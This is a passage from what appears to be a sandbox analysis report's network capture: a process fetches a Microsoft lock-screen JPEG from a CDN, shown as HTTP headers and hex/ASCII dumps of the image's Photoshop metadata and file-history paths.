2b 89 17 ff 00 51 22 ed f3 50 f7 bf 89 3d 66 38 a5 f6 b6 da af 7b 00 dc ed c3 ea 46 df b7 4a 8e f9 75 1b 9f e1 2f dd a7 f5 eb 4f f2 b4 46 48 a5 64 d8 d1 90 75 0e 9f c3 fb 1a 2b 61 8b f3 8c 7d 8c Data Ascii: 6GOZD4[e.8@j6wX5YkH9A\fHt^-ZL2YdKH%\|yuGWyTx)RD)YttnC,$u}[&l(iGAVKsL9'%~i0Qsr"`0WUb+Q"P=f8{FJu/OFHdu+a}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.7	53457	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:09:01 UTC	6952	OUT	GET /cms/api/am/imageFileData/RE50Aay?ver=cbae HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 17:09:01 UTC	6952	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE50Aay?ver=cbae Last-Modified: Sun, 17 Jul 2022 17:57:59 GMT X-Source-Length: 1595757 X-Datacenter: northeu X-ActivityId: 506be5e7-d028-437a-9dc4-db51b1cf0f99 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1595757 Cache-Control: public, max-age=175749 Expires: Fri, 22 Jul 2022 17:58:10 GMT Date: Wed, 20 Jul 2022 17:09:01 GMT Connection: close
2022-07-20 17:09:01 UTC	6953	IN	Data Raw: ff d8 ff e1 18 ca 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 33 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 32 3a 30 34 3a 31 37 20 32 33 3a 33 33 3a 31 39 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 Data Ascii: ExifMM*bj(1r2i''Adobe Photoshop 23.2 (Windows)2022:04:17 23:33:198"
2022-07-20 17:09:01 UTC	6968	IN	Data Raw: b2 bb aa 65 62 bc ba 37 16 be ca 9a f7 39 f5 63 3e 7d 5d f8 ae bd ff 00 a4 66 cf 67 f3 7e 9a 71 23 e5 03 c0 28 03 56 4f 8d 75 5b 32 dc 7b 40 6e 3e 3b 1c dc 86 43 ec 7b 8b 5e 5c ed be ad cc d8 5a ca bd f5 fa 9f 69 f4 ff 00 4d e9 ff 00 83 d8 b2 ef cd a5 f5 7a 97 55 60 bb 15 8e a9 c6 b7 39 ba 06 ee ad 8f 73 59 fb ae fe de f4 bd 57 e5 0b ec d6 e6 b6 e0 e7 97 17 4c ff 00 33 ea 5e f7 06 6c de db 29 af 67 f3 56 fd 35 56 93 eb e5 bb ed 32 c1 76 fa ac af 42 d1 e9 82 da bf cd d9 b3 df fc e7 f2 ff 00 c2 01 1d 0d f4 54 a5 ae 9d 53 e5 3d f7 b1 e3 2d a5 ae da 1a d7 88 25 8e 2e db b0 bd a1 ad f5 19 fe 93 f9 bf 4d 43 ed d9 bf e9 07 f4 7f 43 fa 55 bf 4b ff 00 2d 3e 97 d0 fe 4a af 65 75 d1 4e e2 0d 95 06 68 d6 d8 e2 24 16 b5 af ae 7e 95 7f bf bb f9 b4 29 6f fa 3f e5 7d 1f Data Ascii: eb79c>}]fg~q#(VOu[2{@n>;C{^\ZiMzU`9sYWL3^l)gV5V2vBTS=-%.MCCUK->JeuNh$~)o?}
2022-07-20 17:09:01 UTC	6984	IN	Data Raw: 67 65 5c 5f 43 72 6f 70 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 30 3a 34 32 3a 35 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 73 74 79 6c 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 34 38 39 39 32 37 39 34 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 30 3a 34 34 3a 32 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 Data Ascii: ge\_Crops\Lockscreen_1080x1920_Portrait.psd saved 2016-07-26T10:42:52-07:00 File C:\Users\v-lizagh\MS\Windows10\Edge\_Crops\Edge-Lifestyle_GettyImages-148992794_1080x1920.jpg saved 2016-07-26T10:44:29-07:00 File C:\Users\v-lizagh\MS\Window
2022-07-20 17:09:01 UTC	6986	IN	Data Raw: 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 31 3a 30 30 3a 32 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 73 74 79 6c 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 31 33 31 34 39 32 31 34 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 31 3a 30 32 3a 30 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 73 74 79 6c 65 5f 73 68 75 74 74 Data Ascii: 920.jpg saved 2016-07-26T11:00:25-07:00 File C:\Users\v-lizagh\MS\Windows10\Edge\_Crops\Edge-Lifestyle_GettyImages-113149214_1080x1920.jpg saved 2016-07-26T11:02:01-07:00 File C:\Users\v-lizagh\MS\Windows10\Edge\_Crops\Edge-Lifestyle_shutt
2022-07-20 17:09:01 UTC	7010	IN	Data Raw: 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 53 75 72 66 61 63 65 5c 4a 75 61 6e 5c 53 75 72 66 61 63 65 50 65 6e 5c 43 72 6f 70 73 5c 53 55 52 5f 76 34 5f 50 65 6e 5f 46 61 6d 69 6c 79 5f 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 33 31 54 31 33 3a 32 39 3a 31 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 Data Ascii: File C:\Users\v-lizagh\MS\Windows10\Surface\Juan\SurfacePen\Crops\SUR_v4_Pen_Family_5_1080x1920.jpg saved 2016-08-31T13:29:17-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080x1920_Portr
2022-07-20 17:09:01 UTC	7161	IN	Data Raw: 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 48 6f 6c 69 64 61 79 53 68 6f 70 70 69 6e 67 5c 4d 49 54 2d 48 6f 6c 69 64 61 79 53 68 6f 70 70 69 6e 67 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 39 30 36 30 39 38 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 31 37 54 30 38 3a 33 37 3a 31 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 48 6f 6c 69 64 61 79 53 68 6f 70 70 69 6e 67 5c 4d 49 54 2d 48 6f 6c 69 64 61 79 53 68 6f 70 70 69 6e 67 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 38 39 30 30 38 33 30 Data Ascii: \v-lizagh\MS\Windows10\MomentsInTime\HolidayShopping\MIT-HolidayShopping_GettyImages-519060980_1080x1920.jpg saved 2016-10-17T08:37:10-07:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\HolidayShopping\MIT-HolidayShopping_GettyImages-48900830
2022-07-20 17:09:01 UTC	7169	IN	Data Raw: 4f 53 45 4e 5c 42 69 6e 67 5f 48 6f 6c 69 64 61 79 53 68 6f 70 70 69 6e 67 5f 47 65 74 74 79 2d 36 32 30 39 39 39 35 35 39 5f 31 30 38 30 78 31 39 32 30 5f 47 72 61 64 69 65 6e 74 4e 6f 57 6f 72 64 73 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 30 54 31 31 3a 34 39 3a 30 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 30 54 31 37 3a 31 31 3a 33 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 Data Ascii: OSEN\Bing_HolidayShopping_Getty-620999559_1080x1920_GradientNoWords.jpg saved 2016-11-10T11:49:08-08:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved 2016-11-10T17:11:37-08:00 File Lockscreen_1080x1920_Portrai
2022-07-20 17:09:01 UTC	7185	IN	Data Raw: 6f 64 75 63 74 69 76 69 74 79 54 69 70 73 5c 5f 43 48 4f 53 45 4e 5c 45 64 67 65 2d 54 61 73 6b 56 69 65 77 5f 67 72 61 64 69 65 6e 74 5f 35 30 30 70 78 2d 31 32 31 31 39 30 33 39 35 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 31 31 54 31 31 3a 31 30 3a 32 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 50 72 6f 64 75 63 74 69 76 69 74 79 54 69 70 73 5c 5f 43 48 4f 53 45 4e 5c 45 64 67 65 2d 54 61 73 6b 56 69 65 77 5f 67 72 61 64 69 65 6e 74 5f 35 30 30 70 78 2d 31 32 31 31 39 30 33 39 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 31 31 Data Ascii: oductivityTips\_CHOSEN\Edge-TaskView_gradient_500px-121190395_1080x1920.psd saved 2017-01-11T11:10:23-08:00 File C:\Users\v-lizagh\MS\Windows10\Edge\ProductivityTips\_CHOSEN\Edge-TaskView_gradient_500px-121190395_1080x1920.jpg saved 2017-01-11
2022-07-20 17:09:01 UTC	7201	IN	Data Raw: 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 53 70 72 69 6e 67 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 4d 61 72 63 68 5c 43 48 4f 53 45 4e 5c 4d 49 54 2d 53 70 72 69 6e 67 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5f 4d 61 72 63 68 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 32 33 37 37 32 31 33 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 32 54 31 30 3a 35 36 3a 35 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 Data Ascii: C:\Users\v-lizagh\MS\Windows10\MomentsInTime\SpringEntertainment\March\CHOSEN\MIT-SpringEntertainment_March_GettyImages-623772136_1080x1920.jpg saved 2017-02-22T10:56:55-08:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd
2022-07-20 17:09:01 UTC	7209	IN	Data Raw: 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 30 37 54 31 31 3a 31 30 3a 35 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 61 6b 65 57 68 61 74 73 4e 65 78 74 5c 43 48 4f 53 45 4e 5c 4d 53 2d 4d 61 6b 65 57 68 61 74 73 4e 65 78 74 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 39 37 33 31 32 37 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 30 37 54 31 31 3a 31 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 Data Ascii: 2017-03-07T11:10:57-08:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\MakeWhatsNext\CHOSEN\MS-MakeWhatsNext_GettyImages-509731276_1080x1920.jpg saved 2017-03-07T11:12-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC
2022-07-20 17:09:01 UTC	7225	IN	Data Raw: 41 74 57 6f 72 6b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 33 37 31 34 34 32 39 33 5f 31 30 38 30 78 31 39 32 30 30 39 39 45 36 30 37 34 41 43 31 42 42 33 35 41 31 34 38 39 37 31 46 39 34 30 45 42 30 41 30 44 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 31 32 54 31 36 3a 30 31 3a 35 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 5c 42 69 6e 67 41 74 57 6f 72 6b 5c 43 48 4f 53 45 4e 5c 42 69 6e 67 41 74 57 6f 72 6b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 39 33 39 30 37 37 35 30 5f 31 30 38 30 78 31 39 32 30 5f 77 74 72 6d 72 6b 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 31 32 54 31 36 3a 30 33 3a Data Ascii: AtWork_GettyImages-137144293_1080x1920099E6074AC1BB35A148971F940EB0A0D.psb saved 2017-04-12T16:01:56-07:00 File C:\Users\v-lizagh\MS\Windows10\Bing\BingAtWork\CHOSEN\BingAtWork_GettyImages-493907750_1080x1920_wtrmrk.jpg saved 2017-04-12T16:03:
2022-07-20 17:09:01 UTC	7241	IN	Data Raw: 74 5f 51 34 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 47 65 6e 65 72 69 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 36 30 33 33 36 31 39 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 32 54 31 36 3a 31 35 3a 30 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 47 65 6e 65 72 61 6c 2d 53 70 6f 74 6c 69 67 68 74 5f 51 34 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 47 65 6e 65 72 69 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 37 30 39 35 30 39 37 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 32 54 31 36 3a 31 35 3a Data Ascii: t_Q4\Crops\OfficeGeneric_GettyImages-560336195_1080x1920.jpg saved 2017-05-12T16:15:05-07:00 File C:\Users\v-lizagh\MS\Windows10\Office\Office-General-Spotlight_Q4\Crops\OfficeGeneric_GettyImages-670950972_1080x1920.jpg saved 2017-05-12T16:15:
2022-07-20 17:09:01 UTC	7249	IN	Data Raw: 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 32 35 54 32 32 3a 31 33 3a 32 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 44 72 6f 70 62 6f 78 20 28 41 71 75 65 6e 74 29 5c 52 68 79 73 5c 57 69 6e 64 6f 77 73 31 30 2d 4c 6f 63 6b 5c 4c 6f 63 6b 32 30 31 37 5f 42 61 74 63 68 35 5f 53 41 2d 41 46 5c 43 72 6f 70 73 5c 4c 6f 63 6b 32 30 31 37 2d 42 35 5f 41 46 5f 4c 69 6f 6e 54 61 6e 7a 61 6e 69 61 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 35 35 33 32 30 37 37 37 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 32 35 54 32 32 3a 31 37 3a 32 36 2d 30 37 3a 30 30 26 23 78 39 Data Ascii: 8B8DF538ECD39C4CCFC.psb saved 2017-05-25T22:13:25-07:00 File C:\Users\v-lizagh\Dropbox (Aquent)\Rhys\Windows10-Lock\Lock2017_Batch5_SA-AF\Crops\Lock2017-B5_AF_LionTanzania_GettyImages-155320777_1080x1920.jpg saved 2017-05-25T22:17:26-07:00&#x9
2022-07-20 17:09:01 UTC	7265	IN	Data Raw: 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 42 61 63 6b 54 6f 53 63 68 6f 6f 6c 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 42 61 63 6b 54 6f 53 63 68 6f 6f 6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 32 30 33 38 31 30 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 33 54 31 36 3a 34 35 3a 34 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b Data Ascii: 0 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\BackToSchool\Chosen\Crops\MIT-BackToSchool_GettyImages-502038102_1080x1920.jpg saved 2017-07-13T16:45:46-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved
2022-07-20 17:09:01 UTC	7281	IN	Data Raw: 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 30 33 54 31 36 3a 31 31 3a 33 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 53 70 6f 74 6c 69 67 68 74 5f 46 59 31 37 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4f 33 36 35 2d 4f 6e 62 6f 61 72 64 69 6e 67 2d 4f 6e 65 44 72 69 76 65 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 31 31 37 30 34 37 35 33 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 30 33 54 31 36 3a 31 33 3a 31 30 2d 30 37 3a 30 30 26 23 78 Data Ascii: #x9;File Lockscreen_1080x1920_Portrait.psd opened 2017-08-03T16:11:33-07:00 File C:\Users\v-lizagh\MS\Windows10\Office\Spotlight_FY17\Chosen\Crops\O365-Onboarding-OneDrive_shutterstock_117047536_1080x1920.jpg saved 2017-08-03T16:13:10-07:00&#x
2022-07-20 17:09:01 UTC	7288	IN	Data Raw: 32 30 31 37 2d 30 38 2d 32 39 54 31 35 3a 35 37 3a 35 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 6f 72 74 61 6e 61 5c 4d 6f 74 69 76 61 74 69 6f 6e 61 6c 2d 43 61 6d 70 61 69 67 6e 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 51 75 6f 74 65 44 61 79 48 69 73 74 6f 72 79 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 33 37 33 37 32 30 39 38 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 32 39 54 31 36 3a 30 30 3a 33 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 6f 72 74 61 6e 61 5c 41 63 71 75 69 73 69 74 69 6f Data Ascii: 2017-08-29T15:57:51-07:00 File C:\Users\v-lizagh\MS\Windows10\Cortana\Motivational-Campaign\Chosen\Crops\QuoteDayHistory_GettyImages-537372098_1080x1920.jpg saved 2017-08-29T16:00:31-07:00 File C:\Users\v-lizagh\MS\Windows10\Cortana\Acquisitio
2022-07-20 17:09:01 UTC	7304	IN	Data Raw: 32 30 31 37 2d 42 38 5f 42 65 61 63 68 53 61 72 64 69 6e 69 61 49 74 61 6c 79 5f 70 38 37 31 6d 31 30 30 36 32 36 32 66 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 30 2d 32 33 54 31 36 3a 33 30 3a 32 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 45 64 67 65 47 72 6f 77 74 68 49 6d 61 67 65 73 5c 4c 6f 63 6b 32 30 31 37 5f 42 61 74 63 68 38 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4c 6f 63 6b 32 30 31 37 2d 42 38 5f 47 72 65 61 74 42 61 72 72 69 65 72 52 65 65 66 41 75 73 74 72 61 6c 69 61 5f 4f 66 66 73 65 74 5f 34 32 36 37 32 37 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 Data Ascii: 2017-B8_BeachSardiniaItaly_p871m1006262f_1080x1920.jpg saved 2017-10-23T16:30:21-07:00 File C:\Users\v-lizagh\MS\Windows10\BingEdgeGrowthImages\Lock2017_Batch8\CHOSEN\Crops\Lock2017-B8_GreatBarrierReefAustralia_Offset_426727_1080x1920.jpg saved&#x
2022-07-20 17:09:01 UTC	7320	IN	Data Raw: 78 41 3b 32 30 31 37 2d 31 32 2d 30 34 54 31 31 3a 33 35 3a 30 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 69 6e 74 65 72 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 44 65 63 32 30 31 37 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 57 69 6e 74 65 72 45 6e 74 44 65 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 31 39 33 35 36 34 38 34 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 30 34 54 31 31 3a 33 37 3a 35 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f Data Ascii: xA;2017-12-04T11:35:06-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\WinterEntertainment\Dec2017\Chosen\Crops\MIT-WinterEntDec_GettyImages-619356484_1080x1920.jpg saved 2017-12-04T11:37:54-08:00 File C:\Users\v-lizagh\MS\Windows10\Mo
2022-07-20 17:09:01 UTC	7328	IN	Data Raw: 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 43 6f 6c 6c 65 67 65 46 6f 6f 74 62 61 6c 6c 42 6f 77 6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 32 36 32 39 32 36 32 35 5f 31 30 38 30 78 31 39 32 30 31 41 38 30 33 34 30 35 38 30 34 45 33 30 43 41 42 45 34 33 41 32 39 44 36 43 35 42 45 35 38 31 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 31 34 54 31 32 3a 32 38 3a 34 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 43 6f 6c 